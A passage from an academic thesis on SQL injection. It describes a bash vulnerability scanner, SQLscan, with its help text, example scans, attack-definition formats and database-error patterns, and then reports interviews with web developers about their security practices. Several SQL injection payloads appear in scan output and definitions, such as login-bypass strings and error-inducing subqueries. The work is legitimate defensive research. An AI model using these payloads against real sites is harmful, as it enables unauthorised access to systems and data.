most UNIX operating systems as well as Windows, via Cygwin.  This ubiquitous nature meant 
that any bash-based scanner would be instantly usable on almost every Unix/Linux machine.  
Ease of installation would also be guaranteed, as the bash script and supporting files would 
simply need to be decompressed.  It was recognized that not all required functionality was 
possible using bash alone, however dependencies on non-native utilities were limited to those 
commonly found, or easily installed, on Linux systems, such as sed and Lynx.  The effectiveness 
of this decision was demonstrated during the very first installation of SQLscan, which was on to 
a Red Hat Enterprise Linux (RHEL5) server.  Upon running SQL scan for the first time, it was 
reported that Lynx was not installed.  Even with the requirement to install Lynx, the time taken 
from the beginning of the installation process to the invocation of the first successful scan was 
under one minute. 
The decision to develop the vulnerability scanner as a bash script was beneficial because, 
as explained previously, it facilitated the referencing of global variables within the configuration 
file as well as the application of conditional configuration settings, should they be required.  Its 
concise syntax resulted in a very small file size, which could allow the entire system to be 
included in a CD-ROM based Linux distribution, such as Knoppix.  Other important design goals 
were that the system should be easily extensible and that the source should be open to encourage 
this.  The plain text script- and data-files of the bash-based system are ideal for this purpose.  
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Complete source code for the vulnerability scanner is listed in Appendix C., along with its 
corresponding pseudo-code, and all supporting files are provided in Appendix D. 
 
Walkthroughs 
Sqlscan is a Linux command line utility which can be invoked directly or scheduled using 
the ‘at’ or ‘crontab –e’ commands.  To facilitate scheduling and background processing, all 
configurable behaviour and user supplied-data can be specified during invocation through the use 
of command line switches.  Any required information, for which a command line switch has not 
been specified, will result in the user being prompted to enter the required information before 
processing can continue.  The following examples demonstrate SQLscan’s behavior when 
invoked directly as a foreground process: 
As shown in Figure 4.4  The software's behavior is typical of Linux utilities in that the 
inclusion of an invalid option causes a brief summary of the correct syntax to be displayed. 
 [root@www1 SQLscan]# ./SQLscan --help 
./SQLscan: illegal option -- - 
 
Usage: SQLscan: [-f attack_file] [-g] [-h] [-i] [[P form_responder_URL] [-u 
username_field] [-p password_field]] [-s successful_login_indicator] [-v] URL 
For more information, type 'SQLscan -h' 
Figure 4.4 – Sqlscan’s reaction to an illegal switch 
More complete help text is available through the use of the –h switch.  This includes 
some examples of the syntax required to invoke the utility, helping a novice user to gain 
immediate value from the newly installed software.  Figure 4.5 shows SQLscan’s complete help 
text, as produced by the system when the –h command-line switch is used. 
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[root@www1 SQLscan]# ./SQLscan -h 
 
*********************************************************************************** 
 
SQLscan - Scans Web site login forms and querystring-based systems for SQL Injection 
and other, related, input validation vulnerabilities. 
 
Syntax: SQLscan [options] [URL] 
 
  Options: 
  ------- 
  -f mydefs.dat Use this attack definition file only. Attack definitions are stored in  
                ./conf/*.dat 
                Omitting this switch results in all relevant attack definition files  
                being used. 
  -g            Perform a querystring-based SQL Injection scan. 
  -G variable   Perform a querystring-based SQL Injection scan, placing attacks  
                within the specified 
                variable (useful when multiple variables are defined in the  
                querystring). 
  -h            Displays this help text. 
  -i            Identify the SQL engine only. 
  -p pwdfield   Use 'pwdfield' as the form field to contain the password. 
  -P post_to    When performing a form-based SQL Injection scan, post the attacks  
                to 'post_to'. 
                Omit this option to use the value in the form being scanned  
                (specified by URL). 
  -q            Quiet - display nothing on the screen. 
  -s searchStr  Assume a successful login has been achieved if searchStr is found  
                within the resulting HTML after performing an attack. 
  -u uidfield   Use 'uidfield' as the form field to contain the username. 
  -v            Verbose output. 
  -V            Display version and licensing information and exit. 
 
Examples: 
-------- 
 Display version and licensing information: 
  ./SQLscan -V 
 
 Interactive scan of a login form: 
  ./SQLscan 
  ./SQLscan https://www.mysite.com/login.php 
 
 Non-interactive scan of a querystring-based, database driven Web page: 
  ./SQLscan -g http://www.mysite.com/news?id=365 
  ./SQLscan -G id -s "You have logged in"     
  http://www.mysite.com/viewArticle?id=1044\&format=XML\&showLinks=1 
 
 Non-interactive scan of a login form (for use within scripts): 
  ./SQLscan -u uid -p pwd -v http://www.mysite.com/login.asp 
*********************************************************************************** 
Figure 4.5 - Sqlscan’s help text 
 
Testing Online Forms. 
Sqlscan can be used to check for security vulnerabilities in both online forms and query-
string driven web applications.  For the purposes of demonstration, we will assume that a 
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vulnerable login form exists on www.mysite.ie, and that it authenticates user logins against the 
table shown in figure 4.6, which demonstrates an organization-wide disregard for application 
security through the use of weak, plaintext passwords. 
mysql> select * from users; 
+----+------+---------+------------+--------+ 
| id | uid  | pwd     | name       | active | 
+----+------+---------+------------+--------+ 
|  3 | rick |         | Rick Jones |      1 |  
|  2 | john | john    | John Drew  |      1 |  
|  1 | evan | letmein | Evan Ryder |      1 |  
+----+------+---------+------------+--------+ 
3 rows in set (0.02 sec) 
Figure 4.6 - Example Insecure Table Structure 
 
Testing such an online form with SQLscan would yield results similar to those shown in 
figure 4.7, below.  Upon invocation, the log file for this scan is reported, followed immediately 
by a request for the user to identify the username and password fields used within the form.  The 
user has the choice of viewing each of the field definitions or the entire source code of the page 
prior to the commencement of the scan.  This allows any attempts at security by obscurity, within 
the system being scanned, to be easily thwarted.  Once scanning begins, a number of generic 
attacks are carried out, each designed to invoke a recognisable response from the server, causing 
the identity of the site’s underlying database to be exposed.  If the database engine in use is 
recognized during this phase, all subsequent test attacks are then filtered to include only valid 
syntax for that particular database engine.  Should the identification of the underlying database 
engine prove to be impossible, all tests, for each known database, will be performed in turn.   
 
[root@www1 SQLscan]# ./SQLscan http://www.mysite.ie/login.php 
Info: Logging to ./logs/mysite.ie_login.php.log 
Below are all form fields in this Web page - Please select the Username field: 
1) user                  3) submit                5) View_Complete_Source 
2) pass                  4) View_Full_Tags 
Username Field? 4 
  Username: <input name="user" type="text" value="" /> 
  <br/>Password: <input name="pass" type="password" value="" /> 
  <br/><input type="submit" name="submit" id="submit" value="Log in" /> 
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[Press Enter to see your choices] Username Field? 1 
Please select the Password field: 
1) user                  3) submit                5) View_Complete_Source 
2) pass                  4) View_Full_Tags 
Password Field? 2 
Checking for generic vulnerabilities: | 
** Microsoft SQL Server detected. ** 
 | 
WARNING: Check for successful logins impaired because no definitive searchphrase has 
been provided.  Use the -s switch to set this.  Using common searchphrases instead. 
 Done 
Checking for MSSQLServer vulnerabilities: Done 
 
Info: 4 possible vulnerabilities found. 
  List all Vulnerabilities? [y/n]: y 
Vulnerability: Plain-text SQL Injection (username field only) - E.g. user = "'", pass 
= "" 
Vulnerability: Plain-text SQL Injection (username field) - E.g. user = "'", pass = 
"mypwd" 
Vulnerability: Plain-text SQL Injection (password field) - E.g. user = "myid", pass = 
"'" 
Vulnerability: Password-less Login as admin - E.g. user = "admin' or 'xyz1'='xyz1' -- 
", pass = "apassword" 
[root@www1 SQLscan]#  
Figure 4.7 - Interactive Scan of a vulnerable login form 
 
Recognising when a login form has been successfully bypassed can be facilitated by user 
supplied text, the presence of which in the Web server’s response is assumed to indicate a 
successful attack.  If this information is not provided, the system uses a default list of generic 
login success indication strings, such as ‘Logged In’ and ‘Last login’, and advises the user of this 
fact.  Known exploits of features and idiosyncrasies, unique to individual database vendor’s 
products, are also attempted to identify any situations where systems are protected from generic 
SQL Injection attacks but are susceptible to attacks using this non-standard syntax or feature.  
One such feature is the LOAD DATA INFILE syntax, which quickly loads the data in a file into 
a table.  This syntax is unique to MySQL and can be exploited to read sensitive information such 
as database connection strings and user account details from the web server’s file system.   
Details on all discovered vulnerabilities are stored in the scan’s log file, but are optionally 
displayed on screen once the scan has completed.  This behaviour is suppressed in quiet mode, as 
shown in figure 4.8, which is specified using the –q switch.  
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[root@www1 sqlscan]# # Run SQLscan as a background process: 
[root@www1 sqlscan]# ./sqlscan -qG article 
www.mysite.com/news/view.php?article=199\&detail=y & 
[1] 16357 
[root@www1 sqlscan]#  
[1]+  Done                    ./sqlscan -qG article 
www.mysite.com/news/view.php?article=199\&detail=y 
Figure 4.8 - Non-interactive scan of a query-string based news reader, run as a background 
process 
 
 
Testing Query-string Driven Online Applications. 
Query-string driven applications, such as news or event viewers, can be tested using the 
‘–g’ switch, which tells single scan to perform attacks using the HTTP ‘Get’ method rather than 
the ‘Post’ method, used by web forms.  An application which requires a single query-string 
variable can be tested by specifying the ‘-g’ switch, followed by the full URI of the application, 
including its query-string. 
[root@www1 SQLscan]# ./SQLscan -g www.nuigalway.ie/about-us/news-and-
events/news.php?p_id=1289 
Info: Logging to ./logs/nuigalway.ie_about-us_news-and-events_news.php.log 
Checking for generic vulnerabilities: Done 
Checking for MSSQLServer vulnerabilities: Done 
Checking for MySQL vulnerabilities: Done 
Checking for Oracle vulnerabilities: Done 
 
Info: 0 possible vulnerabilities found. 
[root@www1 SQLscan]# 
Figure 4.9 – Scanning a single-parameter, query-string based application 
 
The scan log, shown in Figure 4.9,   has recorded all scanning activity and any system-
generated messages, produced during testing.  Sqlscan’s configuration file, partially shown in 
Figure 4.2, allows users to specify their preferred scan log location and naming conventions, 
which control the desired archiving granularity.  This enabled users to choose between keeping 
logs of every scan; overwriting previous scan results; preserving the latest scan results for each 
unique domain scanned; or any variation.  Scan logs are produced even if no vulnerabilities are 
found, as shown in figure 4.10. 
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Info: Scan of http://www.nuigalway.ie/about-us/news-and-events/news.php?p_id=1289 
initiated at Thu Jun 10 18:54:09 IST 2010. 
Info: 0 possible vulnerabilities found. 
Info: All done - Thu Jun 10 18:54:20 IST 2010. 
Figure 4.10 - Scan log of a secure system 
Any systems requiring more than one query-string variable to be specified can be 
scanned using the ‘-G’ switch, which also specifies that the HTTP ‘Get’ method should be used 
but allows the field in which to place the attacks to be specified.  When specifying the URI of the 
application on Linux or Unix systems, care must be taken to escape the ampersand, used to 
delimit query-string parameters, with a preceding backslash.  Failure to do this will cause the 
scan to run as a background process, with incorrect parameter specifications, resulting in 
inaccurate results and unusual behaviour.  Examples of the correct method of defining multiple 
query-string parameters can be found in figures 4.5 and 4.11. 
[root@www1 SQLscan]# ./SQLscan -G user 
www.evanryder.com/sqli/db.php?user=evan\&pwd=mypass                                                                                                                 
Info: Logging to ./logs/evanryder.com_sqli_db.php.log 
Checking for generic vulnerabilities: | 
!! MySQL database detected. !! 
 Done 
Checking for MySQL vulnerabilities: Done 
 
Info: 4 possible vulnerabilities found. 
  List all Vulnerabilities? [y/n]: y 
Vulnerability: String termination to induce a syntax error - plain text - E.g. 
http://www.evanryder.com/evan/db.php?user='&pwd=mypass& 
Vulnerability: Unsupressed error messages: Alphabetic field - Reference to non-
existent table - plain text - E.g. http://www.evanryder.com/evan/db.php?user=' AND 9 = 
(SELECT id FROM nonExistentTable)&pwd=mypass& 
Vulnerability: Unsupressed error messages: Alphabetic field - Reference to non-
existent column in existing table - plain text - E.g. 
http://www.evanryder.com/evan/db.php?user=' OR 9 = (SELECT idxr3)&pwd=mypass& 
Vulnerability: Unsupressed error messages: Numeric field - Comparing single numeric 
value to multiples - plain text - E.g. http://www.evanryder.com/evan/db.php?user=' OR 
${ORIGVALUE} = (SELECT 1, 2)&pwd=mypass& 
[root@www1 SQLscan]# 
Figure 4.11 - Scanning a multi-parameter, vulnerable, query-string based application 
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Figure 4.11 demonstrates the correct method of escaping ampersands in the query string 
with backlashes when invoking SQLscan, which prevents SQLscan from running as a 
background process.  This ensures that progress information will be displayed correctly during 
the scan, as demonstrated in figure 4.12. 
 
Info: Scan of http://www.evanryder.com/sqli/db.php?user=evan&pwd=mypass initiated at 
Thu Jun 10 19:14:35 IST 2010. 
!! MySQL database detected. !! 
Vulnerability: String termination to induce a syntax error - plain text - E.g. 
http://www.evanryder.com/sqli/db.php?user='&pwd=mypass& 
Vulnerability: Unsuppressed error messages: Alphabetic field - Reference to non-
existent table - plain text - E.g. http://www.evanryder.com/sqli/db.php?user=' AND 9 = 
(SELECT id FROM nonExistentTable)&pwd=mypass& 
Vulnerability: Unsuppressed error messages: Alphabetic field - Reference to non-
existent column in existing table - plain text - E.g. 
http://www.evanryder.com/sqli/db.php?user=' OR 9 = (SELECT idxr3)&pwd=mypass& 
Vulnerability: Unsuppressed error messages: Numeric field - Comparing single numeric 
value to multiples - plain text - E.g. http://www.evanryder.com/sqli/db.php?user=' OR 
${ORIGVALUE} = (SELECT 1, 2)&pwd=mypass& 
Info: 4 possible vulnerabilities found. 
Info: All done - Thu Jun 10 19:14:46 IST 2010. 
Figure 4.12 - Scan log of a vulnerable system 
 
 
Attack Definitions. 
SQLscan’s scanning engine enables repeated, rapid form tampering or query string 
manipulation, along with server response analysis, enabling large number of test attacks to be 
carried out in a short period of time, if so desired.  The definitions of each individual test and 
associated success indication string are stored in separate files, located in SQLscan’s conf 
directory.  Attacks are grouped by type, with each grouping stored in a separate file, using 
common syntax and formatting.  These groupings are split into general attacks, which test for the 
system's overall susceptibility to input validation attacks while also attempting to identify the 
underlying database engine; and multiple engine-specific attack files, containing attacks intended 
for use once the SQL engine in question has been identified.  Engine-specific attack files contain 
attack definitions, designed to emulate common SQL Injection attack techniques, using the 
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correct syntax for the database engine in question.  These files also contain attempts to exploit 
features, capabilities, and syntactical variations which are unique to the identified database 
engine.  Attack definitions are further split by the HTTP communication method used by the 
application. Typically, online forms use the ‘Post’ method, which allows relatively large 
amounts of data to be transferred between the client and server, in a manner which is invisible to 
the casual observer.  Conversely, the ‘Get’ method transfers small amounts of data which can be 
easily viewed and manipulated within the browser.   
All test attacks, defined in these files, have been carefully designed to conclusively prove 
the existence of vulnerabilities without the risk of causing any adverse affects on the system 
under scrutiny.  Great care is taken to avoid any risk of second order security threats, arising 
from the use of the scanner.  For example, when testing for the capability to read a password file, 
the system will ensure that the server response from any successful attack is deleted so that it 
cannot be discovered by malicious users.  Wherever possible, non-sensitive data is targeted 
during test attacks as the aim of the system is to highlight any exploitable attack vectors which 
could be used for malicious purposes, and very often, seemingly innocuous actions on the part of 
the scanner can demonstrate vulnerabilities with potentially disastrous implications, were they to 
be discovered by a knowledgeable, malicious, user.  This approach is taken because the author 
has no desire for his default test attack definitions to be used by unscrupulous users who would 
otherwise have been, to some degree, unaware of the malicious potential of a given vulnerable 
application's behaviour. 
Attack definition files use common formats, which differ for HTTP ‘Get’ and ‘Post’ 
attacks to reflect their variances.  To maximise portability, ASCII text is used to define attacks, 
each of which are listed on a single line.    Lines beginning with the pound sign (hash symbol) 
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are assumed to be comments and are therefore ignored.  A ‘Get’ attack definition is comprised of 
four fields, delimited by vertical bars.  These fields are: 
1. The modifications to make to the query-string.  This must begin with the string ‘X=’, 
signifying the query-string variable being injected, and can include the string 
‘${ORIGVALUE}’, which will be substituted for the original value of the variable prior 
to the attack being performed.  For example, were a scan to be performed on 
http://mysite.com/news.aspx?mode=print&item=49, with the ‘item’ field having been 
selected as the attack field, the attack definition:  
‘X=${ORIGVALUE} UNION SELECT …’ would translate to 
‘http://mysite.com/news.aspx?mode=print&item=49 UNION SELECT …’. 
2. The success indication string for this attack, which, if present in the resulting page, 
confirms its success.  This field can also reference any filename, in SQLscan's 
successIndicators directory, containing multiple possible matches.  Each possibility is 
listed on a separate line and the presence of any one of these strings in the server-
generated response to the attack causes the system to assume that the attack was 
successful.  Alternatively, one of two system-defined keywords can be entered.  The 
'userDefined keyword instructs SQLscan to look for the success indication string, defined 
with the '-s' switch or by the interactive user.  If the ‘-s’ switch is omitted in a non-
interactive invocation, SQLscan will use its default values, stored in 
‘./successIndicators/loggedIn’, relative to SQLscan’s installation directory.  The second 
possible keyword is 'identify', which causes SQLscan to look for identifiable strings, 
generated by known SQL engines when handling exceptions.  The ‘identify’ keyword is 
intended for use with deliberately erroneous, injected SQL queries, allowing the 
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underlying database engine to be recognised if SQL error messages are exposed by the 
scanned application.  This information permits SQLscan to avoid all attacks, intended for 
other systems, which would be ineffectual on the current application and, if included, 
would unnecessarily increase the time and server resources required to complete the scan.  
An example of the use of the ‘identify’ keyword can be found in figure 4.13, below. 
3. A single digit, indicating whether to stop scanning if security vulnerabilities are 
discovered with this attack.  Valid values are 1 and 0, signifying ‘True’ and ‘False’ 
respectively. 
4. A short description of the attack, to be presented to the user via the standard output and 
scan log should the scanned system be vulnerable to this particular attack.   
# Try to generate an 'unknown column' error using a table which is known to  
# exist, E.g.: ERROR 1054 (42S22): Unknown column 'idxr3' in 'where clause'  
# (MySQL) 
X=(SELECT idxr3)|identify|0|Unsuppressed error messages: Numeric field - Reference to 
non-existent column in existing table - plain text  
Figure 4.13 - Example ‘Get’ Attack Definition 
 
‘Post’ attacks are intended primarily for login forms, although they can also be used to 
test data entry forms, such as conference registration forms or blog pages which allow users to 
add a comment.  Because of this, ‘Post’ attack definitions accept two fields which can contain 
injected data.  These fields differ syntactically from ‘Get’ attacks, as there is no need to represent 
the variable name with ‘X=’ and optionally including the original value is not a requirement in 
this context.  Instead, they contain only the text which should be placed within this form field, 
which can be selected by the interactive user or via the ‘-u’ and ‘-p’ command line switches.  
The ‘Post’ attack file’s three remaining fields are identical, in both syntax and nature, to the final 
three fields used to define ‘Get’ attacks.   
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0 OR 1=1 -- |mypwd|userDefined|0|Log in by injecting an easy-to-detect true condition 
into a numeric username field (plaintext) 
Figure 4.14 – Example ‘Post’ Attack Definition 
All attack definition files are found in SQLscan’s ‘conf’ subdirectory (see Figure 4.1), 
and are identifiable  the ‘.dat’ file extension.  Complete listings of the attack definitions, used by 
SQLscan, are provided within appendix D. 
 
Identifying Successful Attacks 
Another important group of supporting files are those containing the search patterns with 
which to identify successful injection and database engines.  These files are located in 
SQLscan’s ‘successIndicators’ subdirectory.  User-defined lists of strings can be created as text 
files within this directory with each unique string listed on a separate line.  The filename of the 
list in question can then be specified within an attack definition’s success indication field, 
causing SQLscan to look for the occurrence of any one of the search patterns, listed in that file, 
within the server’s response to the attack.  Should any match be made, the attack is deemed to be 
successful. 
A number of files exist in this directory by default: 
- ‘MSSQLServer’ contains patterns which identify the MS SQL Server as the 
underlying database.  The contents of this file are limited due to limitations of scope, 
applied to this project. 
- ‘MySQL’ contains patterns, identifying popular MySQL database engines through 
their unique error messages. 
- ‘Oracle’ is intended to identify Oracle databases but, like MSSQLServer, this aspect 
of the system has not been undertaken in an effort to limit the scope of the project. 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES 58 
- ‘Generic’ contains any textual patterns which indicate the successful injection of 
SQL without identifying the underlying database vendor. 
- ‘LoggedIn’ lists default strings, which can be used to identify a successful login via 
SQL Injection.  By default, these strings are only used if none have been specified by 
the user but SQLscan can be configured to look for these values in addition to those 
supplied by setting the APPEND_GENERIC_INDICATORS variable to “true” 
within SQLscan’s configuration file, SQLscan.conf. 
mysql_ 
mysqli_ 
MySQL server 
MySQL cluster 
Check the manual that corresponds to your 
ERROR 1054 (42S22): Unknown column 
# ERROR 1146 (42S02): Table 'dbname.onExistantTable' doesn't exist 
ERROR 1146 (42S02): 
ERROR 1242 (21000): Subquery returns more than 1 row 
Figure 4.15 – Extract from successIndicators/MySQL, used to recognise MySQL Database engines 
 
Future Expansion 
Sqlscan has been designed to support multiple database management systems with the 
ability to easily extend to include additional database engines through the creation of new attack 
definition-, and success indicator-files.  Due to project size and time constraints, the system has 
been configured with full support for one database engine only, MySQL, as this will be the 
database engine powering each of the simulations being tested during this study.  Apart from 
deliberate measures to limit the scope of the software, some other limitations, to be addressed in 
future versions, have been identified: 
• The version of SQLscan, created for this study, provides no support for forms which 
submit their data via the query-string, using the HTTP ‘Get’ method.  However, as such 
forms are essentially user interfaces for query-string driven systems, this limitation can 
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be circumvented by testing the URL of the form’s target page, as demonstrated in Figure 
4.10, above.   
• The system also uses a very simple syntax for the definition of the attacks to perform 
during testing.  A limitation of this syntax is its inability to associate multiple attacks with 
each other, which would suspend the testing for success indicators until an entire 
sequence of steps, forming a single, complex attack, had been completed.  The addition 
of this functionality would improve the overall performance, flexibility, usefulness, and 
power of the system. 
• Similarly, there is no mechanism to react to the success or failure of a previous test, as 
each attack definition is treated as a separate entity, unrelated to its predecessor.  The 
future addition of this functionality could result in a significant performance gain, as 
blocks of unnecessary tests could be filtered out in certain situations. 
• ‘Post’ attacks were designed with login forms in mind and while they can be applied to 
other forms, this can be confusing because of the terminology used within the interactive 
user interface, which assumes that all ‘Post’ attacks will be performed on a login form. 
• The ‘-s’ switch is used by the user to specify a string, that when present in the server’s 
response to an attack, indicates the success of that attack, for example, the successful 
circumvention of a login form.  It is conceivable that a list of such strings could be 
required at times, any of which would be indicative of success, if detected.   Because of 
this, it would be preferable to allow either a string or a filename, containing a list of 
strings, as the value of this parameter as this would be in keeping with other aspects of 
the system.  This is not possible with the current version of the software, as filenames are 
not yet supported for this switch.  However, the desired behaviour can be achieved by 
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editing SQLscan’s successIndicators\loggedIn file and then invoking a scan, omitting the 
‘-s’ switch altogether, which causes that file to be used.  This behaviour is demonstrated 
in figure 4.7, above. 
 
Summary 
The SQLscan vulnerability scanning engine is designed to download and manipulate 
online authentication forms for the purpose of testing for input validation security vulnerabilities.  
Query string driven online applications can also be tested by the system, which executes 
hundreds of carefully crafted attacks, designed to identify vulnerabilities without causing damage 
to the scanned application or its host system.  The scanner's unique structure of supporting attack 
definition and success indication files, enables the detection of the application's underlying 
database if database-generated errors are exposed by the application, allowing irrelevant tests to 
be avoided, and facilitating the rapid, thorough, scanning of a single attack vector which could be 
carried out by online application developers prior to launch. 
The following chapter will discuss the effectiveness of each individual approach to 
creating online authentication, and database content delivery systems, as described by 
interviewees.  Information discovered from the use of the vulnerability scanner to test against 
replica Web sites, built using each described approach, will play a significant role in this 
discussion. 
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Chapter 5 – Analysis and Results 
In addition to developing the Linux-based input validation scanner, outlined in 
chapter 4, one of the principal aims of this study was to investigate the current level of 
awareness and attitudes of selected Irish Web developers towards input validation attacks, 
such as SQL Injection, with a view to identifying popular and emergent countermeasures.  
Using simulations and the custom-built vulnerability scanner, the effectiveness of each 
unique approach in protecting both online login forms and parameter-driven Web 
applications was evaluated.  This chapter discusses the findings arising from this exercise by 
focusing on the following six aspects:  
• awareness and attitudes toward SQL injection and other input validation flaws 
•  the identification of unique approaches to counteract this form of attack 
• evaluating each unique approach 
• improving each unique approach, wherever possible 
• comparing approaches 
• evaluating the effectiveness of the bespoke vulnerability scanner 
All information regarding coding practices was gathered through face-to-face, 
anonymous interviews with developers of high-traffic websites, using a variety of Web hosting 
environments and server side platforms.  Due to necessary restrictions in the scale of the project, 
the number of interviewees was kept to a minimum, and this information gathering phase was 
concluded once a significant variety in the approaches to common problems was apparent.  Of 
the seven interviewees, the breakdown of their Web and database server platforms was as 
follows:  
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• Two (28%) developed systems within Microsoft.NET environments, using 
Microsoft SQL Server 2005 and 2008 as the backend databases 
• Two also used Apache Tomcat (JSP) server on Linux platforms, both accessing 
MySQL community server, however one is beginning to phase out the database in 
favour of using Apache Cocoon as a Web framework for the dynamic XSL 
transformations of XML data sources. 
• Three (42%) used Linux, Apache, MySQL, and PHP (LAMP) server 
configurations. 
Despite the small number of individuals interviewed, the proportional usage of individual 
platforms, within the sample set, broadly reflects that of the Internet at large.  As illustrated in 
Figure 5.1, below, according to a recent survey of over 1000 websites by WebDirections (2010), 
a market share of 70% is enjoyed by Apache products compared with 20.68% by Microsoft IIS.  
These figures closely resemble the 71.5% to 28.5% distribution outlined above.  Within the same 
survey, operating systems distribution was reported as 62.84% to Linux and 25.11% to 
Microsoft, which is broadly comparable to the sample set’s respective values of 57% and 28%.  
Similarly, WebDirection’s survey revealed a market share of 70.7% and 20.26% for MySQL and 
MS SQL Server, respectively, a proportion largely mirrored by the 71.4% and 28.6%, usage by 
those interviewed for this study. 
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Figure 5.1 - Percentage Distribution Comparison of This Study’s Sample Set with 
WebDirection’s Results of a Survey of 1000 Web Sites in 2010 
 
 
Awareness and attitudes 
 The guideline interview questions, listed in Appendix B, were carefully ordered to allow 
the level of awareness and attitudes towards input validation attacks, such as SQL injection, to be 
demonstrated by the interviewees.  Early questions, such as ‘What happens if the user types in 
something that would break the SQL code (e.g. the apostrophe in O'Brien)’ allowed the more 
security-conscious users to broach the subject of application security without being prompted.  
As another objective of the interviews was to learn each developer's level of understanding of 
common security risks, overt security-related questions, such as 'What is SQL injection?' and 
'Does it pose a risk to your sites?', began to appear from halfway through the interview.  These 
questions ensured the collection of all required information from any interviewees, for whom 
security may not have been the foremost consideration.   
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Interviewees’ levels of awareness of security threats. 
While all interviewees were aware of the threat of SQL injection and other input 
validation attacks, only two (28.5%) were completely aware of the extent of damage possible 
through such vulnerabilities.  All others assumed that the threat was limited to website 
defacement or the addition of unwanted content, such as Trojans or links to adult sites, to Web 
pages.  An alarming ignorance of general security concepts was demonstrated by many of those 
interviewed, with 57% storing passwords in plaintext within their databases, and 71.5% unaware 
of the function of a web application firewall, also known as a Web Intrusion Detection System 
(Web IDS).  Only 50% of those who understood the function of a Web IDS knew that their 
advantage over standard, network-based Intrusion Detection Systems was that encrypted 
communications with the server could also be monitored. 
All of the MySQL users interviewed were unaware of its alternate syntax for SQL 
comments.  Those using bespoke blacklists to validate user input were often still vulnerable as a 
result.  Most PHP users showed a tendency to rely on magic quotes to automatically escape 
harmful characters in string-based user input, however many of those did not encapsulate 
numeric input fields in quotes when building in-line SQL statements.  Very often, validating 
these numeric fields consisted of limiting their length only, leaving the systems vulnerable to 
short SQL injection attacks.  When asked how many characters would be required to 
successfully bypass a login form using SQL injection, the PHP developers all assumed that this 
figure was between twenty and thirty.  Because of this, non-validated numeric inputs, limited to 
10 characters in length, were not uncommon.  All these developers were surprised to learn that 
under certain circumstances; as few as five characters would be required to bypass authentication 
systems on their chosen platform.  These issues did not arise for JSP or.NET users, because these 
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technologies’ database APIs encourage the use of prepared statements or stored procedure calls, 
which circumvent this particular vulnerability.  However, all interviewees, using Microsoft 
platforms, admitted to similar weaknesses to those described for PHP systems within legacy 
code, written in classic ASP.   
All interviewed PHP developers used the oldest and least feature-rich MySQL database 
API, which does not support prepared statements.  Stored procedures were also unpopular among 
these developers, largely because of limitations in the standard database API, preventing result 
sets from being returned by stored procedures, and also because of the difficulty in maintaining 
such procedures within the MySQL environment, which is awkward and unwieldy in this regard.  
Prepared statements and stored procedures are generally considered to be the safe way of 
accessing database content as they automatically eliminate the threat of SQL injection through a 
combination of strong typing and automatically escaped characters within strings. While it is 
possible to produce vulnerability-free systems without employing either of these 'magic bullets’, 
the developer must be completely aware of the extent of the threat and the means by which a 
malicious user could gain illicit control over a backend database server.  Unfortunately, all of the 
MySQL users interviewed had an incomplete understanding of SQL injection techniques, which, 
meant that incomplete countermeasures were often employed within their systems. 
 
Perceived attitudes towards security. 
Each of the interviewees was quite security conscious, introducing security-related issues 
and considerations into the conversation early in the interview process.  Midway through the 
interview, interviewees were asked to rate their sites out of ten in terms of security, with ten 
indicating a completely secure solution and one signifying a system where no thought had gone 
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into this issue.  The level of security-related knowledge, demonstrated by these developers, 
differed greatly but all were initially confident in the security of their systems because they 
explicitly dealt with the threat, as understood by the developer.  Each was asked to rate the 
security of their sites, again, at the end of the interview, at which time 86% reduced their rating 
by two or three points. 
All interviewees who provided Web hosting for the solutions they created used some 
form of an IDS, with 60% of those using a Web IDS.  80% of these intrusion detection systems 
were configured to log suspicious activity only, 20% logged the activity and also alerted 
somebody in the organization by e-mail, and the remaining 20% were configured to react to 
malicious activity, such as SQL injection attempts, by blocking the request.  Security reviews 
were carried out by all organizations, usually immediately before user acceptance testing.  In 
most cases this was in the form of a manual code review; however only 28.5% of the 
organizations involved in the study also used an automated vulnerability scanning tool.  Reasons 
given for the low usage of automated tools centered on the amount of time required to use them 
properly.  “The resources that you waste looking at false positives are a significant cost barrier.” 
(Personal communications, July 6, 2010).  This, and the time required to perform a full crawl and 
scan of a website were the common reasons for choosing not to use a vulnerability scanner, even 
though all interviewees acknowledged that the inherent risk of vulnerabilities being overlooked 
during this manual process was a potentially significant threat to their system’s availability and 
organization’s reputation.   
57% of those interviewed admitted that such security audits only took place after major 
revisions were made to the software.  Minor modifications, such as additional features and bug 
fixes, were not subject to any kind of review, even though these were typically carried out by 
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less-experienced and-knowledgeable developers.  This was especially apparent in organizations 
where there was some degree of overlap between designers and developers in terms of 
responsibility for programming tasks.  In this situation, many minor modifications could be made 
to system functionality without the knowledge of the development team, any of which may be 
beyond the ability of the designer in question, who may then research a solution to the problem 
on the Internet, inadvertently introducing a vulnerability rather than passing the task to the more 
security-conscious developers.   
All interviewees indicated that their organizations have been, to date, largely reactive in 
their approach to security, resulting in a flurry of activity in the event of a security-breach or  
-scare.  However, all reported that the focus on security would begin to taper off as soon as the 
immediate threat was mitigated, relegating security-related tasks from the highest priority to the 
status of important, but not necessary immediately, in the corporate mindset.  Over time, the 
perceived importance of these tasks would diminish, meaning that planned proactive measures 
were not implemented and the organization was as poorly prepared for the next security breach 
as it had been for the last. 
 
Common misconceptions 
All of the above insecure practices arise from an organization-wide underestimation of 
both the threat from SQL injection and the likelihood of an attack taking place.  This is in part 
fueled by a growing belief within the Internet development community that the threat of SQL 
injection is a thing of the past.  There are two reasons for this. First, known solutions to the 
problem exist, such as the correct use of stored procedures and prepared statements.  Second, 
awareness of the problem has increased over the last 10 years to the point where almost every 
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web developer has heard of input validation attacks and takes some steps to counteract them.  
The inherent assumption in this belief is that everyone who has heard of SQL injection 
understands it completely and therefore all countermeasures are completely effective.  However 
this is not the case, as indicated by the approaches analyzed during this study. 
 As of version 5.3.0, released on June 30th 2009, PHP no longer supports Magic Quotes, 
an anti-SQL Injection feature in previous versions of the language, which allowed developers to 
“blissfully and unknowingly write better (more secure) code” (PHP, 2010).  This feature silently 
escaped all single-and double-quotes, backslashes, and null characters, within HTTP Get, Post, 
and Cookie values, rendering SQL injection attacks ineffectual should these values be directly 
inserted into an inline SQL statement.  Given that one approach, analyzed during this study, 
relied completely on the Magic Quotes feature, indicating the probable presence of many other 
such systems across the Internet, and considering that best practice is to suppress all system 
warnings and errors on non-development environments, it is reasonable to conclude that this 
move has introduced vulnerabilities in many, previously secure, legacy systems.  Many more 
systems may become vulnerable over time, as, at the time of writing, servers running PHP 5.2.x 
are still quite common.  PHP justify this move, saying that "today developers are better aware of 
security and end up using database specific escaping mechanisms and/or prepared statements 
